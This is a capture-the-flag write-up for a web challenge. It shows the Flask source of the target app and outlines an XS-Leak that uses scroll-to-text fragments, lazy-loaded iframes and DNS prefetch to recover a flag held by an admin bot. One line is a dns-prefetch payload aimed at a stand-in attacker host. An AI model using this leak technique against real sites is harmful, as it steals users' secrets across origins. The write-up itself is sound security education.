Go Touch Grass
Scroll-To-Text-Fragment with DNS Prefetch
Source Code Analysis
from flask import Flask, request, make_response, render_template_string
import os, base64, sys, threading, time, jsonify, nh3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
PORT = 6005
flag = open('flag.txt').read().strip()
# flag charset is string.ascii_lowercase + string.digits
## Restrctions
ALLOWED_TAGS = {
'a', 'b', 'blockquote', 'br', 'code', 'div', 'em',
'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link',
'ol', 'p', 'pre', 'span', 'strong', 'ul'
}
ALLOWED_ATTRIBUTES = {
'a': {'href', 'target'},
'link': {'rel', 'href', 'type', 'as'},
'*': {
'style','src', 'width', 'height', 'alt', 'title',
'lang', 'dir', 'loading', 'role', 'aria-label'
}
}
APP_LIMIT_TIME = 60
APP_LIMIT_COUNT = 5
limiter = Limiter(
get_remote_address,
app=app,
storage_uri="memory://"
)
@app.errorhandler(429)
def ratelimit_handler(e):
return jsonify({
"error": f"Too many requests, please try again later. Limit is {APP_LIMIT_COUNT} requests per {APP_LIMIT_TIME} seconds."
}), 429
template = """<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="head"></div>
{% if flag %}
<div class="flag"><h1>{{ flag }}</h1></div>
{% endif %}
{% if note %}
<div class="note">{{ note | safe}}</div>
{% endif %}
<script nonce="{{ nonce }}">
Array.from(document.getElementsByClassName('flag')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""
@app.route('/', methods=['GET'])
def index():
_flag = request.cookies.get('flag', None)
## i dont know this value
nonce = base64.b64encode(os.urandom(32)).decode('utf-8')
_note = request.args.get('note', 'Try putting your note with /?note=..')
## maybe i try to play with this
clean_note = nh3.clean(
_note,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
)
rendered = render_template_string(
template,
nonce=nonce,
flag=_flag,
note=clean_note,
)
response = make_response(rendered)
response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; "
"base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; "
)
response.headers['Referrer-Policy'] = 'no-referrer'
response.headers['X-Frame-Options'] = 'SAMEORIGIN'
response.headers['X-Content-Type-Options'] = 'nosniff'
return response
def admin_visit(raw_data_b64: str):
try:
try:
data = base64.b64decode(raw_data_b64.encode('utf-8')).decode('utf-8')
except Exception as e:
print(f"[BOT] base64 decode error: {e}", file=sys.stderr)
return
url = f"http://127.0.0.1:6005/?note={data}"
print(f"[BOT] Visiting {url}", file=sys.stderr)
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-gpu")
driver = webdriver.Chrome(options=options)
try:
driver.get("http://127.0.0.1:6005/")
driver.add_cookie({
'name': 'flag',
'value': flag.replace("{", "").replace("}", ""),
'path': '/',
'httpOnly': True,
'sameSite': 'Strict'
})
print(f"[BOT] Now visiting target URL {url}", file=sys.stderr)
driver.set_page_load_timeout(5)
try:
driver.get(url)
except Exception as e:
print(f"[BOT] error during driver.get: {e}", file=sys.stderr)
time.sleep(5)
finally:
driver.quit()
print(f"[BOT] Done visiting URL {url}", file=sys.stderr)
except Exception as e:
print(f"[BOT] Unexpected bot error: {e}", file=sys.stderr)
@app.route('/bot', methods=['GET'])
@limiter.limit(f"{APP_LIMIT_COUNT} per {APP_LIMIT_TIME} second")
def bot():
raw_data = request.args.get('note')
if not raw_data:
return make_response("Missing ?note parameter\n", 400)
t = threading.Thread(target=admin_visit, args=(raw_data,))
t.daemon = True
t.start()
return make_response("Admin will visit this URL soon.\n", 202)
if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')
We have access to
/botwhich forces the chromium bot to visit our/?note=<b64-payloadwith the flag rendered with{}stripped outOur note payload allows the use of
iframeandlinkwhich seems vulnerable?Our flag is broken up into many
spanelements which are all at the top and have no styles applied to itOur note is sanitized then applied after the flag
CSP:
default-src 'none'; script-src 'nonce-...'; style-src 'none'; frame-src 'self'. Inline styles blocked, butiframeandlink rel=dns-prefetchallowed by sanitizer.There is a rate limit of 5 requests per minute
Reading about a similar challenge here, we see that the we need the following components to carry out XS-Leak.
A way to pad the flag from our lazy-load
iframeIn this case, we can make use of
<br>and<p>tags
A trap marker to jump to if an invalid character is found
A way to do the DNS-prefetch
Using
link, we can do<link rel="dns-prefetch" href="http://<uid>.attacker">
This gives us the following attack plan :
If the candidate matches the flag prefix at top -> the iframe is never lazy loaded and no DNS is made
If no match, browser scrolls to the trap and loads the lazy iframe, in turn performing the
DNS-prefetch
Last updated